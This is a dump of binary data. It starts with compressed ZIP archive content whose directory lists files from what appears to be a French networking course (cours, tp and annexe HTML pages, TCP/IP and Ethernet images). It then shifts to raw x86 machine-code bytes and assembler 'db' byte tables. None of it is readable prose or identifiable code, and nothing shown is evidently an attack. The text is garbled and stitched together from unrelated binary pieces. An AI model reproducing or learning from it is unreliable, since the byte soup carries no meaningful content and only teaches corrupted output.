                                                                                                                                                                                                                                                                                                                                                                                                                       [”Ã†ÂA=;b„BÆØ@X‡$V¤+ãSzç:8ë@GrIúFVÄuÍXD–Ÿ�Ú×úþ|I"¡3ÝÀ›äùü›µû?÷"veœ³ÀOÒ0löx±ÁMWIë³šÕÌË>‚÷×D£I-ã·�(ë6¡ñ«UqçõÝìØýA8pMeÜòKñ´QV¦v.ÖÝ;1µâ£©n¸a$ŸìeWSç¾¹­è¦r®}àm“bf©40Š_¼‘±ZÌ.mÃ3ŠB  ÝÿPK   v£!'žI!^µ  Ð"     tp1.htmlíZßoÛ8~>þ/.N Ÿ½Iwom’ƒëxãœØˆ]ôØF¢mn%QKJN{ý}Cêe+Û¸—¶Ž,‰Ã™ùf¾™¡{y·¾Ÿ_w;—wÓñþ2vy?]�YÂcqÕ…	´L3©’T’‰$»ê™<M•Îp#×†éÁƒ<ïŒàùgÖ;òI|yV:4ž„õd9š-l±šØlµ´Ê0‘í„ND6Hµ¢?Œëtp¼Ï³�Òžü÷:O[–ÒxR¬YÏÖóéõªÐ?Å¶�M¦³Õzv9r/Ã5£Â7—ï7¿°÷ãÉ¿nn®z•„BšL·rÓcYšò'sÕÛeYúv4z~~º§=úëOÓ§t$c¾fÔ\G¢—l<ŸÝ>\M ¿ÐtgÌî§?_õ~ã{îPx+7§0q#u|ÚoÛƒ±_“_“õN¶‘‘`ÏÜ°DeL‹LK±!{úÂÖ"Öü¥Vö$žÁdÆ°Š‡¡ÆàE•0ÎBs™0¥YÊ³Syf$œPØ“Ê“�CªaFdlƒwdfØ*ã:“É–��¤¡SéF±/*‡>IÆ2ÅT*Úq£Ul¥¡÷Bÿ³vö,“P=#pŠº«V;ûìêÞõåìþ–}œÝ¬ï®zo¾ï±»éìön}Õûñ‡{¿x¼™>^õp{õ8¹êEj«^‰_µäúr4&°&Ó‡õô±²ñûù”M¦óùr|s3{¸….þèácqE×T©€¶±øÓp—ÅÑwºþ…BŒàhŠÛÑ± çkå–çÁN¼ÒNQáÎ¾ïAiÒ¿ô)îx>-<R˜8Zß¼h/�Ÿ�¶ëåùk�=XýmIÍ¾Y¹,½(…¿V3©@¨•Ì^€¿¨Àw}Æ×Àe #¡–Ùª¸½¼³ŸK/˜/ïÎ¯/?\Ã%ãû)Hæ¬—ìœä_Žð \‚Ä›véÏ‹‡5›,æ¨òÝ÷ø·¡¹»¨¥,ÉMIf³»w½ô¿¸ÉÂœ™ü7‘¹}híˆÄ¶²ä,b¦Ï·ÒândœGB30_XŠÕ
·b¼ÎÂ~ž0Ô‘ ´”†øÉÑbšK²ng¯d i­	våê˜ß¶’s…j–~+¢Íi@úæÇóÓ‹þÑÈ§•UnÿïÕ�/{hÍ©k3*5Kå‰Øj¾ï`#û=—Ä«ôV¦yb@Ñqi—0ÝNÊI a¡Ül*oÁ@T�<ñgÂ�íæ.hæ³"Žæýò9;gÂ n$¾h"âp´l ¬÷ECC'ÍjÑWi¥äæzÈ l
mB+Ë[…–€E°lÃ�¹ÉŸ¤f\ÈÒ"®^Õ‚Å
¶IWH†l®´ù=·Êù¬	b³A–Wî8�J(Gs ƒ9À‚•Â�_ûç ôkõf`×PšT%ò	¢RE"	±ÑÃ�1`[}Â)Hà	w²±¿ÓÄY¨8Îù{m¹Ü	ó4=´»{pèl¸Âˆ€Ú—:ªìNNä€hQ¥Ÿsßaè¶{ëÍË¶¾ù_Úzñ
[3ð¯©Þ‰$›–7Í9eOYŽ®ô&J�¯RŒ#Û|³?fÁŽSÄr­å¾¶	ÛÕþå®ä…'¸®4ÁL	ˆFZ‚(D‚NKsz!¢ÊàE
óLXÍSôb°Ù¦Œh}Ðí˜LŸ¤ÑbŒÝ1M*ÛxÆ¥ž{Kª…çPÏˆ�»�<Ê*û%yêÔP iB‚°ápxV–¤¯×•Yè{üo,Á.±B�KÊ\x|gÕ††T.N„�¶<m×Õ<ÉÌã;OhU+ Çü‰ÈM/=�y°“	¹¨‚< ‘J–ê6 _¢-©EkÈ²Œ²ªhÉŠMëx‚{ó£¦9bx°¨Fb<L»�•T)¥¦&÷XRT�ªÂUS*1•›×†ßŽÆŠJqQãëkÔëlzÆ¤ˆ÷2p¦#+[Bq@%Ž»Ê_!b“¾Qì]Fˆöáaöï![R�†¶TÂH*�^²²ô@îv|˜a ”ð­·ÀH�ŒÄ•\Ëy¨4EÅÕÞ6K ¬üµÖ&$ŸG©‹Œ‚ÓÉwç?þý]¾×DUkÇ¥»ÖÇeÓŸ«°Ã‡v™êYt,
O«H#¾—–êH¹ ÐÇ!Z6Gñ™gð©!»]<�½" n#–‘Zô®«Ë– l[>Ed°½@^!8Ò.C5çÅÛZŽzÊ-V„
†–ˆÍSLºöµÈaYpà¼¸è­8:>8ØÛ\EËª §UC6©ÞâE¦ÅÈøü�qEun‡¹æÅ–vˆ©t÷¦vÅƒÈž•þÔ»..ØicÔ9+Üòë¦‰1õ¡¨!“ÔÄ©AVcæ^Iüþ©Ä¿Û©¢gÇ“mÑmz•$¶H(qhô'ö�rCŒ|I�èæÉN·ƒp.3Æ>�¨ Xo ©ò;°ÂHÇ©Ü–ë‰]Ó¥
;��àÜ�ød÷ø ‚1dÓZ2�öLèsfSÆr•.Q�Õ]¹MÜ-ÇSDeRåƒã›ÔŽŠSsVÓ'¾€}l¨—ísÛáõkç.*þ¾°ªw��·�§sËíc-8+`?keÿ!û�0,¶´}˜�DYw¹µO“º)‡¥¢äyü…Û>!¶‚w´Hµ4pwÀã47(7ˆÒ*ù¾Y]»�¶xtüÅlSåÂíà˜‘B=!OBU3ºŒ`×-Y=<Ÿ°ëßšÎC 4oðœrÊEvÕ�z­¸}$ÜðáÃö‘ÎËþ5k‚-:6Î-|_„ÏÍtÔqåZTU­�Q'©@µe±òÉ1¾QAEÙµß©Ä¦<'Ž:�½¿G¢š®~YØx}Ìß­q5{d?k2Èµq®¨Z¦„ómÐ !"sD^o`PñÄãMs¨¡Èì	q«Ãì&` òh+d÷Ù}²{�¦?U¨þ<9€nRˆ;â3»{u+ û:Ü-×–ÊPË÷àuÛ$‡E&¸ìâu~›ÛQÜE�cÄ¾Ò¡nžîvöD�­F,V³Þ5>|#tÂºú‚†)6læ% ;£ù·¤ù¨i�ß®�ïvYËÚ` ¼ž‹¨ÓÅ\‘;44åCµ�n§ù¤ÂÚˆÔþœ ¤Mgð¿ñÛ98ÃþJ@ñŸ‡gÔ‘1âÿüT�ÎŒz[Awˆ8ãFðÃ¸P ‡mm«nu,¶Ä$±ZøŽ�ù)@ÇÝt
Êÿ¸Ip¡·(¡†;7ûßrÇªŸPýŒŠÚ@›4£C7Û-yZØ7O×v
…ÓÙ5N«ˆNômb£*-Ê[gNH™&‰Š	÷�)¬¬6U†x™*Þ7Êæ*1nõÜž±¢+­ÖÐ9HÃ@EÆ¥¥Ü!`DŽ?ýp³°Ùäž>o—EE¨Žcúp v�Xü2ÔcåM«MÎn'wÎUkRZ•´Ó–=˜!mÂb4óÖ
»Q&ƒ<’/ÄÁi³ÁPyÏý�–qû µßêÛöP`Œ³Ç‹T�¨Õ´Ç>.�À‚R—³úAñAê‡•§1þaPÒÂÎ˜}˜Á«3¸H*M]>§Šá«íæÙ_j@N½ëêÒ³i]Ž&^ö‘!5:Rð'«Ê—^élDSíÙªÊ#²×*R\xjÜWÔ¿S¡í»<8kÍ²²¶hKHä%�J,“‚Ë¾ÖÉ2ÛÂxóM>­ªO"„z×îïhE çúe\Æ¹£‚b´ª½Ÿe:²\*"š¢âÀÒ¸6 iˆ5ºÕ’º¯lÙ1S�Š­æ”¼!èŒ¾¸|a°Ð%ÔÛŠÊ[Ûb<òN‚œ¾6	¼ùMDÒÒ—Ÿ°'•xÓ55"ƒòü¢hî<Û°=åÛó+H«ÂiMýÝ!¢C¥�E¶YCg‰‚­m·v|ZòrååÀVÚÂVÃã…ói“kwÈs°«Ü»Åë‡–#žxõŒ•°Ã³ú`¬øyçÏŸ)ÿ/~¦üóWÊ—~¥<þ%nDÿ)ƒhÉý?–ÿPK   x£!'Ä›Ð@  ß(     tp2.htmlíZëO#Gÿ¼Hüu³
Ø{ŽÌæ¢,˜ÈVXØ${Ê®VÍLÛîd^éé1�ÓýïWÕÝ3ž1˜×æ¤hµ|€v?ªë]¿j¼w2>ì¯¯í�ô:‡ø`ï´7î@ÄBÞv|žzR$JÄ‘^)©¶“fIK…™LAnpæeŠï¦œe7àÜ!ò;¿½Ž¥Ÿ–(Œ»C·?lÀù¨ß€þè¼q/­p5ã2âª‘È˜þ “Iãî,S³X–èÈ,Ša˜Sc‘=3î�½ý‘åßçöÚ‹ª½þhÜßsÍfT�ku³wp~øo8èt:¾8¿<;l;“8ò¹H•hNÅÄ•$ì*m;3¥’w®{}}Ý4«é~ó}ï*qEÈ¦<u«çˆô:ƒþñY»‹üsI38¹èµ�ßØœ+¼“Š82¬mÞwÀ‡èC4ž‰&"àpÍRˆb’+)øœûpucp-þPÆ¸âËRBžb¾/yšâÆ8~2A,!ajq¦R�JC£ÀUœE>Cª)¤\Á÷•ÂH1©D4…Ž¡Ô4,ÆpgÈO¤@Å'<¢'25µ”Ë9—?nÖë×"òãëf{Œ¼®}¯œ›«ÚÙßëŸÃ/ýÃñIÛiíl9pÒëŸŒÛÎwo88¿8ì]´œ]tÛNOãgÚ¯8²¿çvÈXÝÞÙ¸wa�¬s0èA·7;‡‡ý³cäÁø-^Ø�É©^†VÉvs¦ÂàõxøVüØsQÅä±nù¨^K6e™7ãÏ”­|ÈªðmIƒ8F¦‰ÿ…­¬Xîøp¥Œh]~“³Úz®˜K§ŸÈðdæT²órìÜg _ÆB=× åCŸi Z§tµWšñ0_=±‹'ÛùÌå>jã¬sÚÃ�’Œ“QÞs/-½sÏ-Ü]ÓÚ;:?C÷|pŽÌ¼ÞÂŸ‰ŽšÖ¥¥eNç”‡¤µHé wö‡¥¤o'mP¹ú ¾â�E)xÆCLh&ª ˆ£ÔŒ',�À\„YØœ{€©/d*'‹I*€üƒÊ|ÁåúZ€‰Ë“I±‰òn
‰¡PbŽÃ?2^¹+SxKšï§ãÄSÀÖ×Rf�f¼ùB�ô¢¹À
ñÙpö+É»•Ä" ‚»zlòÊ^žRYŽÐ­T–³JÆ\†"¢˜xi&IC•Z‹
ÁŒ@­g+.lo´`iB«Þ„žó–Î�9†ÕBÉ8›sÈ"¾¾2o&"£Ë³w0J˜ô µ…5"òHIU�”4{‰›æÞ9Ò%R0<È"‰‘•f'Ä”Dü#ÈRf‘ ƒ3°w®¯ai1¦¢kPN„*öb½‡_Lu�._Ð¦»Êô=†¥,@çH“8Ez¨½09D}pD%ào"{HÙ£j™É&6í¥$!øYi‘>å·¡³Äè+SLX<@AjX=žÝÔÉH)¬RÅ„V•f5%5#›,IxPx#Œ¨‚"#ö`I>ë¦v"ÆÒ%ªÐ$+¤L-&®7Ùd"¼2»¾VC�0…àÊGFSDTÝaÆA¬££pÉr™êÔÌš)4{xg L�7¡l¢ÞøMÎý2žºP
”ôñ[œ‘mÐ¥ŠÐž²À�vîØÒÛÅ¡ÏË"-®E8Ck$"f„ô¥¡{�aÀâ/²òxx7B{&ã�é-æ·®5øpî‰
5 1AºÞ`SL|Õ·Y¬JstHí�Fã…sæ2¨Ý|qªÎy¢D]ð·œ«b_‘Aß–•)âø8UW·×ï,§÷-¥±÷;WÕ¹+ôÚêò�nY�cžÇ“¥“åHO—š¿©ã­Awöó‘6&Æ:'—¡¯8Ù©Ò°‘ŠèÅŠ#;ÅÃ?ÇÂÆý%²Â0*Ä/N0-ÃÂÐ÷éý�‡!“Ùv�6‹uLäémŠÓ\ê¨‘Üs"UtXÔ_©øQ&$#¯³j—RÌK{l¡Ñá½îE$/i«Ye§£ŒÔEÄØëÆÔÔÊ&m[dŠR§äl^d�Ô´ê@�	“˜ˆ/9À²uº:Šœ}ó÷smcbò%¦ñÜc­yr+—7u‹2(›ŸçØc0ñ™ÚŸøËU÷H|w0{3ê1â±Œ4M²ÈoÆ…ý{Aæsçn~‚ Dª 	9öy$U.»È¶´‰¡—å.­(‡>—Zá:,ÐàrEæÍS-Å„©™Ö…glCè2qC�ª!rå‘¦3{.ðbšbÆ8ÎËØ±…€¸Ap‹g1³pµÏô¨n,)y`Ý0£5V}iEvl­J�ÔÃ¸ožûãÒ!8’n[-w«ånÿðÃ÷ðà�=4ÌÓ•Ö¨ävgµ!¹îÔ€”"ˆóC‹òPv�f³ùÀM/“éÈâ` Ã‹ŒØ¤‹hýµ�8ØÔnª|7gSµ»´Â¥Œî_ÁªàªÛ#cÕª‘ûÞel#ü«U+â6ô÷.3™0—6ä«ZÒ.õ5LG,Éö
§N­ÈÏoyÉy�ô>ŸVwúƒAï´ó›š- “RzÆ€ Å"
¸´„íuCêPvêÉõ<6	@ïa509õD¯zCŸæuÍçc›Ö×þc6ù»ÄÊ¡}aÕð´@£P3j­ù¦ð=ùPªdæ)í–ôª÷ID0²ã
1±>ºð_{” %T³Ýúœƒ®¾ú90à­çÓ”>M�,<sÚŽuñ&\P':%ºQŠQ
%bZwÖÊ¿.ìøÏí�»F/Mg…‹üÌ¥˜èü¿©›£¾	ÔÈð�6´Ð ¯Ð¯&˜ô#5©aP ÷7œ‘Åæïà›ýC*¡‘Ó £ýºõ‘Œû
Ñ…‚Ú·Û[úÓí�KÜW{[�€E·Í¨M&ÄY®Ëv!×ÝUÓ„CW‘ ÅÖ6œ]¹	2ËZž6‘ý
%§àÙÎ¹FžE„õŽ-ÚUÝÀÃQÒ"ÞB¦\Õ6X˜ìæŽÓØj¤âO“Ú–½«Nä‘´~
Ð"0¹Ñ4 šfN§™Šè“~¶¹EÙ‡GŸúg½ñ®¾ÓKnÍ�µÊfÔV	ßRR˜é¹¥© ½AÍê¹;PGéÅy'‰0)0`ôGü1YwlWû�š¶úöÇ†£¼¤0A±ù	&XÐ*› •› "›f©�‡†–$Õ“¹ç$;L¦ŸcH­•Zcõm:™¯!ã®Hò-£óîOŸFã‹^çÔnÃuýŠ²xÉ÷nÙ‹wÂ$˜JYf¼›ŽÒÞ#¹6×Õ,�ÒE�­\q´±è€+5f¨”UµS‰1z0¤ÿí„i-´EÑÈsÒŽ±´,BžZE¼º±ì«ð¦ÚÃŠ|ø�S?Æ9Ýâ”³ÃÛ
ãôoólÂßˆ0í�FºX¸1ø&±HÖMOKÌo?Ê€Ù[aá»;,˜ž©Ò%éËLö$3®Ô€µa-/@¸Ù�{P·…jÍGsÏãÚ4”+ÂükYªIZ”€›lEM‡Å$“äÌ/¸mØÚÑ(j‘³¹ß9'å#¢ËLÚ§|o÷Ó./ˆS^P*ÏÐX»©vqÍÛžk éC]ekE[‰ÿÿxö^4‹MÖs±¬í.(	üEHö+Ž}"Ž=í�F�ã8Å~t}k­*ço]¿ª•:/°%7xN?Pä)r„¹³
aBb¾+Dx l–±&r�ÿw¾úàNNP–|¨´˜æ‰€Ò$ª/OÞ�“ÏC“ðÙp²õ<8Y6À_…&¿`,Y¨ë1(ÓsLñ¶ºœju(ÛÅ§œgcÇ‚S{M™Õ·«ÁÎ¦}ËÓi²Œw®¥PJ¶<4�ôÜšýXÇfž^òï|ýNËß÷;-_¿ÒRþJKùû(.}GÏÚ¯5þPK   v£!'ùçh¿  [     tp3.htmlíWßoÚH~n¥þ#W—´ŠôtRÏæd°Ö°ÀÑé¤¾,x{»îî:$ÿý� nÈE!ªN÷Ð<ÀfgçÛo¾™�Î(¾÷Þ¼vF�çÓ7€sÄ¶E×JP/Ï—Â‚¥…q-�g™T†6r¥A] [æÕÈò;°N@þÆû�T‰n ÄƒÈ£LçaÂù´õ(VÐ¬Q	4­LÉâ˜ÊZ§7°Ü¬¥jà÷U.$D{4&jŸ8ŒÇAo^óO°¾vömA8�CÇ®“4v­�ÓŸúBßü>œMo&¾k¥R$ÈµáW+žZ`²Œ-´k­�É>Ùön·»ª¬©²ú%Xd6ß²jû[¿:o'î€ø£*v<Í‚Ï®õ»eU>ñô…˜rµ}wùØ _Ä¯¹†”ovLƒ�ÅñXÜCŒ,Ã�”lÁ—,×Ü y±$Q¨5”$rË¸ © cf27š“h”XÈ\$ŒP5h4�Òn4ÌS†‹xÒUEÉ—p/sâ#	2CQÜ˜*¹-Ñ4ª[T¿]¾¿ã"‘»«�\²¢êÜGã¼|Zj«ç„×Cø#ôã‘kuº,áp»ÖÏ-èOg~0s-ÚžÏ®µ‘+yfþ.=ÇöŠd‚IÌê"óúã Áxy¾N†Ä¡ª¿Â8«WÅº(ªW‡D›¬sµ6ÛÍÛ8z•D.m’¸¨X»éZ_F¶bùr�gÆÖtª%üØP�ÖDºàÔ±V¡ËŽý�‘²‹w{ªÝsÃ|àý¼‡Ï&Ç„À;lWxå?ç2|¢‘�DInÎMHÓé˜�:	�´<#!´¬‹Ô.«´ZG{ëhÖÜpFí½á¦G"M¼ë€Z7U‰_\àØ75XyÒ±¯ Dp>O'1¦ã)qzû�þÒòÁÛåÄéTÞ{ä~n¬}@’CÕË.O•x×hŒB Ö‘mØasI}Ÿ:”AhÓ¤€NñÑuú�‰Ì5ÕÄv‹b‰4;4u0ûê nJ@ê]{]At_HÝk[=ÿ8+‹‚<²k?eVÈ­ðkŽp«‡”¡7¯“=ÁEn(¿ž¡iFm¦ÙÞ /Wd‹TeŠø®»¥ àULh4?n�Šuh÷ðZ2ybL¹((Wd_¦Iç	M:/ÕÄÇ-£.  Y#J¸`ÕòFû;èÔ}J§îwÑ©û„NÝÿB§Îù:Ñ´6\=V˜	å‰íT«}Ïù1?ÿ¿óóÇø|j|6‡ž]ü> ßú'Õ?PK   y£!'h/ân¥  j     xonxoff.gifíÓ	?
  ð-~ñä¾rË‘³É6W”c–+‘ÜäZ¢ó±&ä¹-ª±MsÌ¹5Çæ¨¤œ¹ÍRî†Ë‘„gŽÌûõ9^ÿïð·³·C÷= 6à·#àè�?þ—”ö¸�  pæ÷„ß' ¼ ¯´¶¨-‰WLË§§¶¸#EXV ­+éÊ�2ˆ˜î©#v£O]L—³§–ö>,{©eýyªî¤Çö4µA¬‘D_'–VáŒ6�_ñÑ¬¯d<³BK.TÕW�$9àmÂÜµWÈ¸Ïð1J@$j1öîÜ>Bòío¤L5ÝšïK&G¯97n•tN=­a¾W>œç¥k×nÜ/ãg&ªçÐ�©b÷x-—ºÐ*¡è˜þÚÀ¶_�«à˜c°<’gCô|Ó°:¦Fo'øºƒcTcúÀC|=¢&$dÇTÐD¯lOA‡âäÈ¡‹™9I‚æòû£+§ñÞì,ó¥­²É&ÏºŽ®ÙFox—Ç¯/9Hè–Ø™'
ùvë‡ôÄ<fF”ãË\öÈ”67v2]µ$ß*�/æ}¤9®˜ÄÙŒz±±�"É�VRJ)	©Â	\±`ÿ ;Å¡_Óæ{Õ”3âÂy%ÓTÞñÅ‰z¹ûûBVæ£Á½˜,��Jâ¡�§rOêCT/;[žýÇÚÏ#ÄfÂÉêôÝSxäí4ñ$¯)g›ï\âIÀêÆ¼&àÎŠH/f•Ý5f%qá‹h›Å*V&ŠÃ»�èö­èyVª$C>Väv¶>Ì7		#‰—¦¸ZU–Gí].²Ei­T–R%Ã«Bé+�X§Êg¯e^T+h‰ƒ_¿¶êÌÄÕ¨¬“žÚà'ùÎ¸µ«}ZÁuS4­úcd•$#¯RÛ>Ø�ª›´2@T(â€Œï@E¾U#EÂ–'.{;ZÈZÖcBùj²;O€ÞlºÚ�mÉ=fVó’Æ!ÿ°<vÿ ø=®¼µÁpíV[9Œ_ï¦$OÁÏˆ¯˜¸�.i¯ãTÂQ¹lX7ÓÈ'†¦7ÚP×¨Ö¼Bí‹r•¸Ý§8¡:p‹ÅÑš÷aë	ÊïùïG9‘ë‡Lã_3GLRÀ†ƒu^ ŸŸÃ"^xÒ�Šáà¦õÎ¨‹�üê0¼&«v2R{Úèù:"âË=…Ía"ÙßÙ3H?84QˆS==Dxq×Ž ÓN(sv/æö›A\žw§n.i¡Àã¼öNËz
Þ`áÕƒs˜ìŠo¤£iÈ'Ñ�°F*Ì®ÿn�'—¯~.G!ÏVß™2ƒæ9†?À|ç‘Í·dâõ�£Nšo�išÎ3£…t¶_0LvÅÍ”l)øYl²ˆhÚ~H�¸»�'o·…@»´þóçzUü�Ø§[è¨U•  ÐÍ|Õ‡þh"zXW¦hD‡´Š�rIŒ›-
›Pˆþl³Ê™´Z¨ªøì¦ê+A”„mªÄ7åN4#
hæ[òr“9E¬ãW.´n¤E[®9Š†ÁþÒÉ1ºnR"„7Òýžº‘F‹N¸Ö†câÿ�Wª!¥jÊc@—‚­%‰]³Èœp¬ìáè®—=KKÿAÎÜÆ.³8úR†¶{Í:¤E$Å“KujÇ§ ÿZ,¤ä>9ÛÎ@`
T�†òí¡˜¨³Õ¨ûvÖ|®¹yõ…9¸oï�×µ³Êd‘›çv†c¢æ\µ›*
Ýtnú6ûÌe›íÕIìåÞ®™ÖËÑ¤xë�„ÈIußuèpÜ
†;Lù4öÞŒÝÂÏ¾ÍÓÍ“Vt± 9M|P™cÙÀ«G®_<Ã„°<Šÿ¾G!ì8”–`6=/!7¯x¯ÿbiR”‡H´"Àõçy“9Œâ¹8uku#Ýk»Dj°ÒÖ¸�‘»M<%Pµƒ}ÌÅm—j8VÁ<ú>rs ¦ÿPK    p£!'Q$Y³Ç  ©  
           ¶�    anneau.gifPK    w£!'òÓ{  ð            ¶�ï  annexe1.htmlPK    x£!'Ä…àS  ö[            ¶�+  annexe2.htmlPK    n£!'(>ïA               ¶�¨  bus.gifPK    u£!'¨2Í  œG            ¶�  cours1.htmlPK    q£!'ãTõCE   ?            ¶�/  cours2.htmlPK    o£!'…Ñíu-  CB            ¶�rC  cours3.htmlPK    s£!'äÀDÐN  ¡M            ¶�ÈX  cours4.htmlPK    w£!'0U]µw  :G            ¶�?r  cours5.htmlPK    x£!'KNÄü  ¬@            ¶�ß‰  cours6.htmlPK    w£!'Q•T®  ­)            ¶�œ  cours7.htmlPK    u£!'qºÇ	  �             ¶�Ûª  dns.gifPK    c£!'3îº  ö  
           ¶�Ç´  droite.gifPK    f£!'=æ*>O  b`             ¶�¶  dwnldgun.gifPK    r£!'ƒFF¯­  n
             ¶�v ethernet.gifPK    l£!':šéq  J  
           ¶�M etoile.gifPK    n£!'–èÿR               ¶�æ etoiles2.gifPK    f£!'[»(×¥  
             ¶�b fondeisti.gifPK    c£!'{€)P  æ  
           ¶�2 gauche.gifPK    w£!'.Å¤ò  =h  
          ¶�f index.htmlPK    w£!'`Ã%xk  kO            ¶�€- licencegnu.htmlPK    g£!'“`×_®
  ¿             ¶�K logo.gifPK    f£!'¸y 30  ˆ             ¶�ìU mail.gifPK    o£!';$(U  2             ¶�B\ mailles.gifPK    v£!': aN	  C  
           ¶�À^ modosi.gifPK 
    g£!'�†$˜Š  Š  	           ¶�gh photo.gifPK    m£!'½ËÏkÀ  Š  
           ¶�o pronet.gifPK    r£!'"WX-  ï             ¶� x reseau1.gifPK    q£!'£‘7               ¶�V~ reseau2.gifPK    p£!'›oÇÍ  �             ¶�¶� reseau3.gifPK    y£!'äÏr2p  4  
           ¶�¬… rtscts.gifPK    y£!' —‹rP  	  
           ¶�D‹ serie1.gifPK    p£!'¨vï€  >	  	           ¶�¼‘ tcpip.gifPK    u£!'XÈ/$F  	             ¶�c˜ tp.gifPK    v£!'žI!^µ  Ð"            ¶�Í  tp1.htmlPK    x£!'Ä›Ð@  ß(            ¶�¨¬ tp2.htmlPK    v£!'ùçh¿  [            ¶�¸ tp3.htmlPK    y£!'h/ân¥  j             ¶�ó» xonxoff.gifPK    & & X  ÁÁ                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    `PD `PD ZPD  ‹ÿ6QD €QD ÊQD  RD 2RD ARD �SD ‰SD ‘SD ™SD ¡SD ©SD ƒì‹”KP �D$ WÇD$    ÇD$    j Pèz¡ÿÿ�D$j P‹ÄIP ÇD$ô  ÇD$¸  èX¡ÿÿ¸ÿÿÿÿj ‰D$‰D$‹L$‹T$RQj j j Pj¡ÄIP hÿÿÿ‹ÄÀM j PèÎeüÿj jè¥ª hÔO ‹hÔO ‹È¿    ÿèû«ÿÿ�L$j Q£ÌT ‰|$‹LKP ÇD$U   èØ ÿÿ�D$j P‹PKP ‰|$ÇD$¹   èº ÿÿ‰|$�D$j P‹TKP ÇD$  èœ ÿÿj ‹XKP ‰|$�|$ÇD$�  Wè~ ÿÿ_ƒÄÃÌÌÌÌÌÌÌÌÌƒì(‹ÀÀM SVWUjèÜW j ‹ÀÀM j èmG ‹ÄÀM èòAüÿj ‹€HP j jÿjèŸ ÿÿj ¡ÀÀM jd‹€HP jPè¸“ÿÿj ¡ÀÀM jd‹”KP jPè¡“ÿÿj ¡ÀÀM jd‹LKP jPèŠ“ÿÿj ¡ÀÀM jd‹PKP jPès“ÿÿj ¡ÀÀM jd‹TKP jPè\“ÿÿj ¡ÀÀM jdjP‹XKP èE“ÿÿj ‹ÀÀM èèR j jè© ‹Ø…Û„  ‹=˜¸S ¹ÿÿÿÿ+Àò®÷Ñ+ù‹ÁÁé‹÷¿xöS ó¥‹Èƒáó¤‹ÌT ‹y…ÿu‹=·S ¹ÿÿÿÿ+Àò®÷Ñ+ù‹Ñ‹÷¹ÿÿÿÿ¿xöS +Àò®O‹ÊÁéó¥‹Êj ƒáj ó¤j ‹Ëj j jPh€   hxöS èŸã ¡ÌT ‹…Ét,‹@…ÀtPQ¡¬¶S Ph$“N hxöS èFÐ ƒÄë(Q¡¬¶S Pë¡·S ‹¬¶S PQh(»M hxöS èÐ ƒÄj j j ‹Ëj j jdh€   hxöS è,ã ‹=°¶S ¹ÿÿÿÿ+Àò®÷Ñ+ù‹ÁÁé‹÷¿xöS ó¥‹Èƒáó¤¡ð¼M …Àt¡ô¼M …Àt‹=´¶S ë‹=¸¶S ë‹=0
        db      0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 255, 255, 255, 255, 255, 192
        db      0, 0, 0, 0, 255, 255, 224, 31, 255, 224, 7, 192, 0, 31, 240, 0
        db      0, 97, 225, 102, 76, 17, 206, 191, 89, 206, 29, 27, 33, 242, 243, 7
        db      39, 15, 254, 56, 146, 67, 201, 32, 0, 0, 0, 0, 0, 0, 0, 0
        db      0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
        db      0, 0, 0, 0, 0, 0, 0, 0, 4, 147, 194, 73, 28, 127, 240, 228
        db      224, 207, 79, 132, 216, 184, 115, 154, 253, 115, 136, 50, 102, 135, 134, 0
        db      0, 80, 1, 134, 60, 30, 57, 191, 242, 61, 253, 2, 0, 195, 255, 0
        db      255, 0, 1, 199, 113, 131, 241, 192, 0, 0, 0, 0, 0, 0, 0, 0
        db      0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
        db      0, 0, 0, 0, 0, 0, 0, 0, 3, 143, 193, 142, 227, 128, 0, 255
        db      0, 255, 195, 0, 64, 191, 188, 79, 253, 156, 120, 60, 97, 128, 10, 0
        db      0, 48, 1, 248, 124, 31, 248, 64, 3, 252, 2, 252, 63, 252, 0, 255
        db      255, 0, 0, 0, 15, 252, 1, 240, 0, 0, 0, 0, 0, 0, 0, 0
        db      0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
        db      0, 0, 0, 0, 0, 0, 0, 0, 15, 128, 63, 240, 0, 0, 0, 255
        db      255, 0, 63, 252, 63, 64, 63, 192, 2, 31, 248, 62, 31, 128, 12, 0
        db      0, 15, 254, 0, 3, 224, 7, 255, 252, 3, 255, 255, 0, 0, 0, 0
        db      0, 255, 255, 255, 255, 255, 254, 0, 0, 0, 0, 0, 0, 0, 0, 0
        db      0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
        db      0, 0, 0, 0, 0, 0, 0, 0, 0, 127, 255, 255, 255, 255, 255, 0
        db      0, 0, 0, 0, 255, 255, 192, 63, 255, 224, 7, 192, 0, 127, 240, 0
        db      0, 108, 193, 172, 28, 29, 138, 144, 119, 194, 31, 141, 0, 127, 184, 125
        db      1, 244, 191, 253, 131, 172, 244, 80, 0, 0, 0, 0, 0, 0, 0, 0
        db      0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
        db      0, 0, 0, 0, 0, 0, 0, 0, 10, 47, 53, 193, 191, 253, 47, 128
        db      190, 29, 254, 0, 177, 248, 67, 238, 9, 81, 184, 56, 53, 131, 54, 0
        db      0, 92, 1, 207, 60, 30, 121, 144, 122, 57, 255, 129, 0, 222, 63, 252
        db      255, 240, 0, 2, 97, 208, 7, 159, 128, 0, 0, 0, 0, 0, 0, 0
        db      0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
        db      0, 0, 0, 0, 0, 0, 0, 1, 249, 224, 11, 134, 64, 0, 15, 255
        db      63, 252, 123, 0, 129, 255, 156, 94, 9, 158, 120, 60, 243, 128, 58, 0
        db      0, 60, 1, 240, 124, 31, 248, 111, 131, 248, 0, 126, 31, 223, 128, 3
        db      255, 240, 0, 0, 31, 255, 248, 31, 128, 0, 0, 0, 0, 0, 0, 0
        db      0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
        db      0, 0, 0, 0, 0, 0, 0, 1, 248, 31, 255, 248, 0, 0, 15, 255
        db      192, 1, 251, 248, 126, 0, 31, 193, 246, 31, 248, 62, 15, 128, 60, 0
        db      0, 3, 254, 0, 3, 224, 7, 255, 252, 7, 255, 255, 128, 32, 0, 0
        db      0, 15, 255, 255, 255, 255, 255, 224, 0, 0, 0, 0, 0, 0, 0, 0
        db      0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
